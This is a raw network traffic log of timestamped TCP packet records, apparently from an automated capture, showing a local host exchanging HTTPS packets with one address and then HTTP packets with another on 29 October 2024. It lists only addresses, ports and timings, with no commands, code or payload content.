Oct 29, 2024 05:02:23.442920923 CET	49707	443	192.168.2.5	162.159.134.233
Oct 29, 2024 05:02:23.442938089 CET	49707	443	192.168.2.5	162.159.134.233
Oct 29, 2024 05:02:23.443476915 CET	443	49707	162.159.134.233	192.168.2.5
Oct 29, 2024 05:02:23.443499088 CET	443	49707	162.159.134.233	192.168.2.5
Oct 29, 2024 05:02:23.443550110 CET	49707	443	192.168.2.5	162.159.134.233
Oct 29, 2024 05:02:23.443562984 CET	443	49707	162.159.134.233	192.168.2.5
Oct 29, 2024 05:02:23.443588018 CET	49707	443	192.168.2.5	162.159.134.233
Oct 29, 2024 05:02:23.443627119 CET	49707	443	192.168.2.5	162.159.134.233
Oct 29, 2024 05:02:23.482976913 CET	443	49707	162.159.134.233	192.168.2.5
Oct 29, 2024 05:02:23.483000040 CET	443	49707	162.159.134.233	192.168.2.5
Oct 29, 2024 05:02:23.483064890 CET	49707	443	192.168.2.5	162.159.134.233
Oct 29, 2024 05:02:23.483078957 CET	443	49707	162.159.134.233	192.168.2.5
Oct 29, 2024 05:02:23.483109951 CET	49707	443	192.168.2.5	162.159.134.233
Oct 29, 2024 05:02:23.483148098 CET	49707	443	192.168.2.5	162.159.134.233
Oct 29, 2024 05:02:23.491646051 CET	443	49707	162.159.134.233	192.168.2.5
Oct 29, 2024 05:02:23.491669893 CET	443	49707	162.159.134.233	192.168.2.5
Oct 29, 2024 05:02:23.491730928 CET	49707	443	192.168.2.5	162.159.134.233
Oct 29, 2024 05:02:23.491744995 CET	443	49707	162.159.134.233	192.168.2.5
Oct 29, 2024 05:02:23.491780996 CET	49707	443	192.168.2.5	162.159.134.233
Oct 29, 2024 05:02:23.491822004 CET	49707	443	192.168.2.5	162.159.134.233
Oct 29, 2024 05:02:23.492078066 CET	443	49707	162.159.134.233	192.168.2.5
Oct 29, 2024 05:02:23.492130041 CET	443	49707	162.159.134.233	192.168.2.5
Oct 29, 2024 05:02:23.492156029 CET	49707	443	192.168.2.5	162.159.134.233
Oct 29, 2024 05:02:23.492166996 CET	443	49707	162.159.134.233	192.168.2.5
Oct 29, 2024 05:02:23.492198944 CET	49707	443	192.168.2.5	162.159.134.233
Oct 29, 2024 05:02:23.492240906 CET	49707	443	192.168.2.5	162.159.134.233
Oct 29, 2024 05:02:23.561229944 CET	443	49707	162.159.134.233	192.168.2.5
Oct 29, 2024 05:02:23.561253071 CET	443	49707	162.159.134.233	192.168.2.5
Oct 29, 2024 05:02:23.561320066 CET	49707	443	192.168.2.5	162.159.134.233
Oct 29, 2024 05:02:23.561332941 CET	443	49707	162.159.134.233	192.168.2.5
Oct 29, 2024 05:02:23.561368942 CET	49707	443	192.168.2.5	162.159.134.233
Oct 29, 2024 05:02:23.561408043 CET	49707	443	192.168.2.5	162.159.134.233
Oct 29, 2024 05:02:23.562061071 CET	443	49707	162.159.134.233	192.168.2.5
Oct 29, 2024 05:02:23.562083960 CET	443	49707	162.159.134.233	192.168.2.5
Oct 29, 2024 05:02:23.562129021 CET	49707	443	192.168.2.5	162.159.134.233
Oct 29, 2024 05:02:23.562155008 CET	443	49707	162.159.134.233	192.168.2.5
Oct 29, 2024 05:02:23.562185049 CET	49707	443	192.168.2.5	162.159.134.233
Oct 29, 2024 05:02:23.562592030 CET	49707	443	192.168.2.5	162.159.134.233
Oct 29, 2024 05:02:23.562761068 CET	443	49707	162.159.134.233	192.168.2.5
Oct 29, 2024 05:02:23.562783003 CET	443	49707	162.159.134.233	192.168.2.5
Oct 29, 2024 05:02:23.562825918 CET	49707	443	192.168.2.5	162.159.134.233
Oct 29, 2024 05:02:23.562838078 CET	443	49707	162.159.134.233	192.168.2.5
Oct 29, 2024 05:02:23.562872887 CET	49707	443	192.168.2.5	162.159.134.233
Oct 29, 2024 05:02:23.562973022 CET	49707	443	192.168.2.5	162.159.134.233
Oct 29, 2024 05:02:23.610184908 CET	443	49707	162.159.134.233	192.168.2.5
Oct 29, 2024 05:02:23.610218048 CET	443	49707	162.159.134.233	192.168.2.5
Oct 29, 2024 05:02:23.610271931 CET	49707	443	192.168.2.5	162.159.134.233
Oct 29, 2024 05:02:23.610287905 CET	443	49707	162.159.134.233	192.168.2.5
Oct 29, 2024 05:02:23.610325098 CET	49707	443	192.168.2.5	162.159.134.233
Oct 29, 2024 05:02:23.610344887 CET	49707	443	192.168.2.5	162.159.134.233
Oct 29, 2024 05:02:23.610888004 CET	443	49707	162.159.134.233	192.168.2.5
Oct 29, 2024 05:02:23.610914946 CET	443	49707	162.159.134.233	192.168.2.5
Oct 29, 2024 05:02:23.610958099 CET	49707	443	192.168.2.5	162.159.134.233
Oct 29, 2024 05:02:23.610970974 CET	443	49707	162.159.134.233	192.168.2.5
Oct 29, 2024 05:02:23.611018896 CET	49707	443	192.168.2.5	162.159.134.233
Oct 29, 2024 05:02:23.611057043 CET	49707	443	192.168.2.5	162.159.134.233
Oct 29, 2024 05:02:23.644623995 CET	443	49707	162.159.134.233	192.168.2.5
Oct 29, 2024 05:02:23.644649982 CET	443	49707	162.159.134.233	192.168.2.5
Oct 29, 2024 05:02:23.644735098 CET	49707	443	192.168.2.5	162.159.134.233
Oct 29, 2024 05:02:23.644768000 CET	443	49707	162.159.134.233	192.168.2.5
Oct 29, 2024 05:02:23.645679951 CET	49707	443	192.168.2.5	162.159.134.233
Oct 29, 2024 05:02:23.680711031 CET	443	49707	162.159.134.233	192.168.2.5
Oct 29, 2024 05:02:23.680731058 CET	443	49707	162.159.134.233	192.168.2.5
Oct 29, 2024 05:02:23.680780888 CET	49707	443	192.168.2.5	162.159.134.233
Oct 29, 2024 05:02:23.680798054 CET	443	49707	162.159.134.233	192.168.2.5
Oct 29, 2024 05:02:23.680861950 CET	49707	443	192.168.2.5	162.159.134.233
Oct 29, 2024 05:02:23.680881977 CET	49707	443	192.168.2.5	162.159.134.233
Oct 29, 2024 05:02:23.681422949 CET	443	49707	162.159.134.233	192.168.2.5
Oct 29, 2024 05:02:23.681442976 CET	443	49707	162.159.134.233	192.168.2.5
Oct 29, 2024 05:02:23.681494951 CET	49707	443	192.168.2.5	162.159.134.233
Oct 29, 2024 05:02:23.681508064 CET	443	49707	162.159.134.233	192.168.2.5
Oct 29, 2024 05:02:23.681560993 CET	49707	443	192.168.2.5	162.159.134.233
Oct 29, 2024 05:02:23.681560993 CET	49707	443	192.168.2.5	162.159.134.233
Oct 29, 2024 05:02:23.682157993 CET	443	49707	162.159.134.233	192.168.2.5
Oct 29, 2024 05:02:23.682178974 CET	443	49707	162.159.134.233	192.168.2.5
Oct 29, 2024 05:02:23.682224989 CET	49707	443	192.168.2.5	162.159.134.233
Oct 29, 2024 05:02:23.682252884 CET	443	49707	162.159.134.233	192.168.2.5
Oct 29, 2024 05:02:23.682285070 CET	49707	443	192.168.2.5	162.159.134.233
Oct 29, 2024 05:02:23.682307005 CET	49707	443	192.168.2.5	162.159.134.233
Oct 29, 2024 05:02:23.729314089 CET	443	49707	162.159.134.233	192.168.2.5
Oct 29, 2024 05:02:23.729340076 CET	443	49707	162.159.134.233	192.168.2.5
Oct 29, 2024 05:02:23.729424000 CET	49707	443	192.168.2.5	162.159.134.233
Oct 29, 2024 05:02:23.729461908 CET	443	49707	162.159.134.233	192.168.2.5
Oct 29, 2024 05:02:23.729537010 CET	49707	443	192.168.2.5	162.159.134.233
Oct 29, 2024 05:02:23.730103970 CET	443	49707	162.159.134.233	192.168.2.5
Oct 29, 2024 05:02:23.730128050 CET	443	49707	162.159.134.233	192.168.2.5
Oct 29, 2024 05:02:23.730192900 CET	49707	443	192.168.2.5	162.159.134.233
Oct 29, 2024 05:02:23.730207920 CET	443	49707	162.159.134.233	192.168.2.5
Oct 29, 2024 05:02:23.730273008 CET	49707	443	192.168.2.5	162.159.134.233
Oct 29, 2024 05:02:23.730273008 CET	49707	443	192.168.2.5	162.159.134.233
Oct 29, 2024 05:02:23.763645887 CET	443	49707	162.159.134.233	192.168.2.5
Oct 29, 2024 05:02:23.763667107 CET	443	49707	162.159.134.233	192.168.2.5
Oct 29, 2024 05:02:23.763715029 CET	49707	443	192.168.2.5	162.159.134.233
Oct 29, 2024 05:02:23.763730049 CET	443	49707	162.159.134.233	192.168.2.5
Oct 29, 2024 05:02:23.763916969 CET	49707	443	192.168.2.5	162.159.134.233
Oct 29, 2024 05:02:23.763956070 CET	49707	443	192.168.2.5	162.159.134.233
Oct 29, 2024 05:02:23.799796104 CET	443	49707	162.159.134.233	192.168.2.5
Oct 29, 2024 05:02:23.799815893 CET	443	49707	162.159.134.233	192.168.2.5
Oct 29, 2024 05:02:23.799910069 CET	49707	443	192.168.2.5	162.159.134.233
Oct 29, 2024 05:02:23.799988031 CET	443	49707	162.159.134.233	192.168.2.5
Oct 29, 2024 05:02:23.800060034 CET	49707	443	192.168.2.5	162.159.134.233
Oct 29, 2024 05:02:23.800540924 CET	443	49707	162.159.134.233	192.168.2.5
Oct 29, 2024 05:02:23.800560951 CET	443	49707	162.159.134.233	192.168.2.5
Oct 29, 2024 05:02:23.800632954 CET	49707	443	192.168.2.5	162.159.134.233
Oct 29, 2024 05:02:23.800647974 CET	443	49707	162.159.134.233	192.168.2.5
Oct 29, 2024 05:02:23.800734043 CET	49707	443	192.168.2.5	162.159.134.233
Oct 29, 2024 05:02:23.801302910 CET	443	49707	162.159.134.233	192.168.2.5
Oct 29, 2024 05:02:23.801323891 CET	443	49707	162.159.134.233	192.168.2.5
Oct 29, 2024 05:02:23.801389933 CET	49707	443	192.168.2.5	162.159.134.233
Oct 29, 2024 05:02:23.801404953 CET	443	49707	162.159.134.233	192.168.2.5
Oct 29, 2024 05:02:23.801496983 CET	49707	443	192.168.2.5	162.159.134.233
Oct 29, 2024 05:02:23.848534107 CET	443	49707	162.159.134.233	192.168.2.5
Oct 29, 2024 05:02:23.848577023 CET	443	49707	162.159.134.233	192.168.2.5
Oct 29, 2024 05:02:23.848619938 CET	49707	443	192.168.2.5	162.159.134.233
Oct 29, 2024 05:02:23.848629951 CET	443	49707	162.159.134.233	192.168.2.5
Oct 29, 2024 05:02:23.848687887 CET	49707	443	192.168.2.5	162.159.134.233
Oct 29, 2024 05:02:23.849065065 CET	443	49707	162.159.134.233	192.168.2.5
Oct 29, 2024 05:02:23.849127054 CET	443	49707	162.159.134.233	192.168.2.5
Oct 29, 2024 05:02:23.849150896 CET	49707	443	192.168.2.5	162.159.134.233
Oct 29, 2024 05:02:23.849157095 CET	443	49707	162.159.134.233	192.168.2.5
Oct 29, 2024 05:02:23.849178076 CET	49707	443	192.168.2.5	162.159.134.233
Oct 29, 2024 05:02:23.849210024 CET	49707	443	192.168.2.5	162.159.134.233
Oct 29, 2024 05:02:23.849996090 CET	443	49707	162.159.134.233	192.168.2.5
Oct 29, 2024 05:02:23.850042105 CET	443	49707	162.159.134.233	192.168.2.5
Oct 29, 2024 05:02:23.850076914 CET	49707	443	192.168.2.5	162.159.134.233
Oct 29, 2024 05:02:23.850083113 CET	443	49707	162.159.134.233	192.168.2.5
Oct 29, 2024 05:02:23.850123882 CET	49707	443	192.168.2.5	162.159.134.233
Oct 29, 2024 05:02:23.850152969 CET	49707	443	192.168.2.5	162.159.134.233
Oct 29, 2024 05:02:23.919133902 CET	443	49707	162.159.134.233	192.168.2.5
Oct 29, 2024 05:02:23.919186115 CET	443	49707	162.159.134.233	192.168.2.5
Oct 29, 2024 05:02:23.919215918 CET	49707	443	192.168.2.5	162.159.134.233
Oct 29, 2024 05:02:23.919234991 CET	443	49707	162.159.134.233	192.168.2.5
Oct 29, 2024 05:02:23.919261932 CET	49707	443	192.168.2.5	162.159.134.233
Oct 29, 2024 05:02:23.919286966 CET	49707	443	192.168.2.5	162.159.134.233
Oct 29, 2024 05:02:23.919639111 CET	443	49707	162.159.134.233	192.168.2.5
Oct 29, 2024 05:02:23.919682980 CET	443	49707	162.159.134.233	192.168.2.5
Oct 29, 2024 05:02:23.919717073 CET	49707	443	192.168.2.5	162.159.134.233
Oct 29, 2024 05:02:23.919728994 CET	443	49707	162.159.134.233	192.168.2.5
Oct 29, 2024 05:02:23.919780016 CET	49707	443	192.168.2.5	162.159.134.233
Oct 29, 2024 05:02:23.919806004 CET	49707	443	192.168.2.5	162.159.134.233
Oct 29, 2024 05:02:23.920495033 CET	443	49707	162.159.134.233	192.168.2.5
Oct 29, 2024 05:02:23.920537949 CET	443	49707	162.159.134.233	192.168.2.5
Oct 29, 2024 05:02:23.920577049 CET	49707	443	192.168.2.5	162.159.134.233
Oct 29, 2024 05:02:23.920591116 CET	443	49707	162.159.134.233	192.168.2.5
Oct 29, 2024 05:02:23.920619965 CET	49707	443	192.168.2.5	162.159.134.233
Oct 29, 2024 05:02:23.920646906 CET	49707	443	192.168.2.5	162.159.134.233
Oct 29, 2024 05:02:23.959532976 CET	443	49707	162.159.134.233	192.168.2.5
Oct 29, 2024 05:02:23.959578037 CET	443	49707	162.159.134.233	192.168.2.5
Oct 29, 2024 05:02:23.959624052 CET	49707	443	192.168.2.5	162.159.134.233
Oct 29, 2024 05:02:23.959640980 CET	443	49707	162.159.134.233	192.168.2.5
Oct 29, 2024 05:02:23.959678888 CET	49707	443	192.168.2.5	162.159.134.233
Oct 29, 2024 05:02:23.959698915 CET	49707	443	192.168.2.5	162.159.134.233
Oct 29, 2024 05:02:23.968029022 CET	443	49707	162.159.134.233	192.168.2.5
Oct 29, 2024 05:02:23.968072891 CET	443	49707	162.159.134.233	192.168.2.5
Oct 29, 2024 05:02:23.968153954 CET	49707	443	192.168.2.5	162.159.134.233
Oct 29, 2024 05:02:23.968168974 CET	443	49707	162.159.134.233	192.168.2.5
Oct 29, 2024 05:02:23.968197107 CET	49707	443	192.168.2.5	162.159.134.233
Oct 29, 2024 05:02:23.968219995 CET	49707	443	192.168.2.5	162.159.134.233
Oct 29, 2024 05:02:23.968777895 CET	443	49707	162.159.134.233	192.168.2.5
Oct 29, 2024 05:02:23.968818903 CET	443	49707	162.159.134.233	192.168.2.5
Oct 29, 2024 05:02:23.968868971 CET	49707	443	192.168.2.5	162.159.134.233
Oct 29, 2024 05:02:23.968882084 CET	443	49707	162.159.134.233	192.168.2.5
Oct 29, 2024 05:02:23.968923092 CET	49707	443	192.168.2.5	162.159.134.233
Oct 29, 2024 05:02:23.968943119 CET	49707	443	192.168.2.5	162.159.134.233
Oct 29, 2024 05:02:24.002392054 CET	443	49707	162.159.134.233	192.168.2.5
Oct 29, 2024 05:02:24.002435923 CET	443	49707	162.159.134.233	192.168.2.5
Oct 29, 2024 05:02:24.002495050 CET	49707	443	192.168.2.5	162.159.134.233
Oct 29, 2024 05:02:24.002513885 CET	443	49707	162.159.134.233	192.168.2.5
Oct 29, 2024 05:02:24.002547979 CET	49707	443	192.168.2.5	162.159.134.233
Oct 29, 2024 05:02:24.002567053 CET	49707	443	192.168.2.5	162.159.134.233
Oct 29, 2024 05:02:24.038367987 CET	443	49707	162.159.134.233	192.168.2.5
Oct 29, 2024 05:02:24.038414955 CET	443	49707	162.159.134.233	192.168.2.5
Oct 29, 2024 05:02:24.038455009 CET	49707	443	192.168.2.5	162.159.134.233
Oct 29, 2024 05:02:24.038477898 CET	443	49707	162.159.134.233	192.168.2.5
Oct 29, 2024 05:02:24.038501978 CET	49707	443	192.168.2.5	162.159.134.233
Oct 29, 2024 05:02:24.038605928 CET	49707	443	192.168.2.5	162.159.134.233
Oct 29, 2024 05:02:24.039237976 CET	443	49707	162.159.134.233	192.168.2.5
Oct 29, 2024 05:02:24.039282084 CET	443	49707	162.159.134.233	192.168.2.5
Oct 29, 2024 05:02:24.039307117 CET	49707	443	192.168.2.5	162.159.134.233
Oct 29, 2024 05:02:24.039336920 CET	443	49707	162.159.134.233	192.168.2.5
Oct 29, 2024 05:02:24.039377928 CET	49707	443	192.168.2.5	162.159.134.233
Oct 29, 2024 05:02:24.039377928 CET	49707	443	192.168.2.5	162.159.134.233
Oct 29, 2024 05:02:24.039712906 CET	443	49707	162.159.134.233	192.168.2.5
Oct 29, 2024 05:02:24.039758921 CET	443	49707	162.159.134.233	192.168.2.5
Oct 29, 2024 05:02:24.039779902 CET	49707	443	192.168.2.5	162.159.134.233
Oct 29, 2024 05:02:24.039793015 CET	443	49707	162.159.134.233	192.168.2.5
Oct 29, 2024 05:02:24.039820910 CET	49707	443	192.168.2.5	162.159.134.233
Oct 29, 2024 05:02:24.039820910 CET	49707	443	192.168.2.5	162.159.134.233
Oct 29, 2024 05:02:24.039848089 CET	49707	443	192.168.2.5	162.159.134.233
Oct 29, 2024 05:02:24.078859091 CET	443	49707	162.159.134.233	192.168.2.5
Oct 29, 2024 05:02:24.078907967 CET	443	49707	162.159.134.233	192.168.2.5
Oct 29, 2024 05:02:24.078933954 CET	49707	443	192.168.2.5	162.159.134.233
Oct 29, 2024 05:02:24.078958988 CET	443	49707	162.159.134.233	192.168.2.5
Oct 29, 2024 05:02:24.078986883 CET	49707	443	192.168.2.5	162.159.134.233
Oct 29, 2024 05:02:24.079009056 CET	49707	443	192.168.2.5	162.159.134.233
Oct 29, 2024 05:02:24.087475061 CET	443	49707	162.159.134.233	192.168.2.5
Oct 29, 2024 05:02:24.087515116 CET	443	49707	162.159.134.233	192.168.2.5
Oct 29, 2024 05:02:24.087557077 CET	49707	443	192.168.2.5	162.159.134.233
Oct 29, 2024 05:02:24.087572098 CET	443	49707	162.159.134.233	192.168.2.5
Oct 29, 2024 05:02:24.087604046 CET	49707	443	192.168.2.5	162.159.134.233
Oct 29, 2024 05:02:24.087624073 CET	49707	443	192.168.2.5	162.159.134.233
Oct 29, 2024 05:02:24.088140011 CET	443	49707	162.159.134.233	192.168.2.5
Oct 29, 2024 05:02:24.088181973 CET	443	49707	162.159.134.233	192.168.2.5
Oct 29, 2024 05:02:24.088229895 CET	49707	443	192.168.2.5	162.159.134.233
Oct 29, 2024 05:02:24.088247061 CET	443	49707	162.159.134.233	192.168.2.5
Oct 29, 2024 05:02:24.088274002 CET	49707	443	192.168.2.5	162.159.134.233
Oct 29, 2024 05:02:24.088449955 CET	49707	443	192.168.2.5	162.159.134.233
Oct 29, 2024 05:02:24.156891108 CET	443	49707	162.159.134.233	192.168.2.5
Oct 29, 2024 05:02:24.156913042 CET	443	49707	162.159.134.233	192.168.2.5
Oct 29, 2024 05:02:24.156948090 CET	49707	443	192.168.2.5	162.159.134.233
Oct 29, 2024 05:02:24.156989098 CET	443	49707	162.159.134.233	192.168.2.5
Oct 29, 2024 05:02:24.157020092 CET	49707	443	192.168.2.5	162.159.134.233
Oct 29, 2024 05:02:24.157059908 CET	49707	443	192.168.2.5	162.159.134.233
Oct 29, 2024 05:02:24.157375097 CET	443	49707	162.159.134.233	192.168.2.5
Oct 29, 2024 05:02:24.157407045 CET	443	49707	162.159.134.233	192.168.2.5
Oct 29, 2024 05:02:24.157447100 CET	49707	443	192.168.2.5	162.159.134.233
Oct 29, 2024 05:02:24.157459974 CET	443	49707	162.159.134.233	192.168.2.5
Oct 29, 2024 05:02:24.157490015 CET	49707	443	192.168.2.5	162.159.134.233
Oct 29, 2024 05:02:24.157512903 CET	49707	443	192.168.2.5	162.159.134.233
Oct 29, 2024 05:02:24.158144951 CET	443	49707	162.159.134.233	192.168.2.5
Oct 29, 2024 05:02:24.158168077 CET	443	49707	162.159.134.233	192.168.2.5
Oct 29, 2024 05:02:24.158207893 CET	49707	443	192.168.2.5	162.159.134.233
Oct 29, 2024 05:02:24.158220053 CET	443	49707	162.159.134.233	192.168.2.5
Oct 29, 2024 05:02:24.158246994 CET	49707	443	192.168.2.5	162.159.134.233
Oct 29, 2024 05:02:24.158325911 CET	49707	443	192.168.2.5	162.159.134.233
Oct 29, 2024 05:02:24.158647060 CET	443	49707	162.159.134.233	192.168.2.5
Oct 29, 2024 05:02:24.158668995 CET	443	49707	162.159.134.233	192.168.2.5
Oct 29, 2024 05:02:24.158703089 CET	49707	443	192.168.2.5	162.159.134.233
Oct 29, 2024 05:02:24.158715963 CET	443	49707	162.159.134.233	192.168.2.5
Oct 29, 2024 05:02:24.158741951 CET	49707	443	192.168.2.5	162.159.134.233
Oct 29, 2024 05:02:24.158759117 CET	49707	443	192.168.2.5	162.159.134.233
Oct 29, 2024 05:02:24.159123898 CET	443	49707	162.159.134.233	192.168.2.5
Oct 29, 2024 05:02:24.159189939 CET	443	49707	162.159.134.233	192.168.2.5
Oct 29, 2024 05:02:24.159209967 CET	49707	443	192.168.2.5	162.159.134.233
Oct 29, 2024 05:02:24.159300089 CET	49707	443	192.168.2.5	162.159.134.233
Oct 29, 2024 05:02:24.160465956 CET	49707	443	192.168.2.5	162.159.134.233
Oct 29, 2024 05:02:24.160500050 CET	443	49707	162.159.134.233	192.168.2.5
Oct 29, 2024 05:02:25.158736944 CET	49706	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:25.159413099 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:25.164654970 CET	80	49706	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:25.164721012 CET	49706	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:25.164762974 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:25.164865017 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:25.165318966 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:25.170707941 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:26.082014084 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:26.082585096 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:26.087083101 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:26.092457056 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:26.370702028 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:26.370726109 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:26.370737076 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:26.370765924 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:26.370775938 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:26.370786905 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:26.370798111 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:26.370810986 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:26.370809078 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:26.370810032 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:26.370819092 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:26.370902061 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:26.370902061 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:26.370903015 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:26.371743917 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:26.371754885 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:26.371802092 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:26.376279116 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:26.376331091 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:26.530524969 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:26.530622959 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:26.530632019 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:26.530642033 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:26.530653954 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:26.530651093 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:26.530674934 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:26.530687094 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:26.530699968 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:26.530699968 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:26.530746937 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:26.530747890 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:26.531618118 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:26.531666994 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:26.531667948 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:26.531711102 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:26.531892061 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:26.531939983 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:26.531941891 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:26.531954050 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:26.531965017 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:26.531996012 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:26.531996012 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:26.532030106 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:26.647985935 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:26.648063898 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:26.648113012 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:26.648124933 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:26.648138046 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:26.648149014 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:26.648163080 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:26.648196936 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:26.648220062 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:26.648297071 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:26.648319006 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:26.648327112 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:26.648354053 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:26.648354053 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:26.648391008 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:26.648726940 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:26.648775101 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:26.648778915 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:26.648786068 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:26.648828030 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:26.648832083 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:26.648864031 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:26.690854073 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:26.690890074 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:26.690921068 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:26.690968990 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:26.765223980 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:26.765243053 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:26.765252113 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:26.765260935 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:26.765269041 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:26.765292883 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:26.765341043 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:26.765348911 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:26.765394926 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:26.765407085 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:26.765435934 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:26.765451908 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:26.765470028 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:26.765480995 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:26.765513897 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:26.766314030 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:26.766324043 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:26.766334057 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:26.766355038 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:26.766375065 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:26.848783970 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:26.848803997 CET	80	49735	185.215.113.16	192.168.2.5
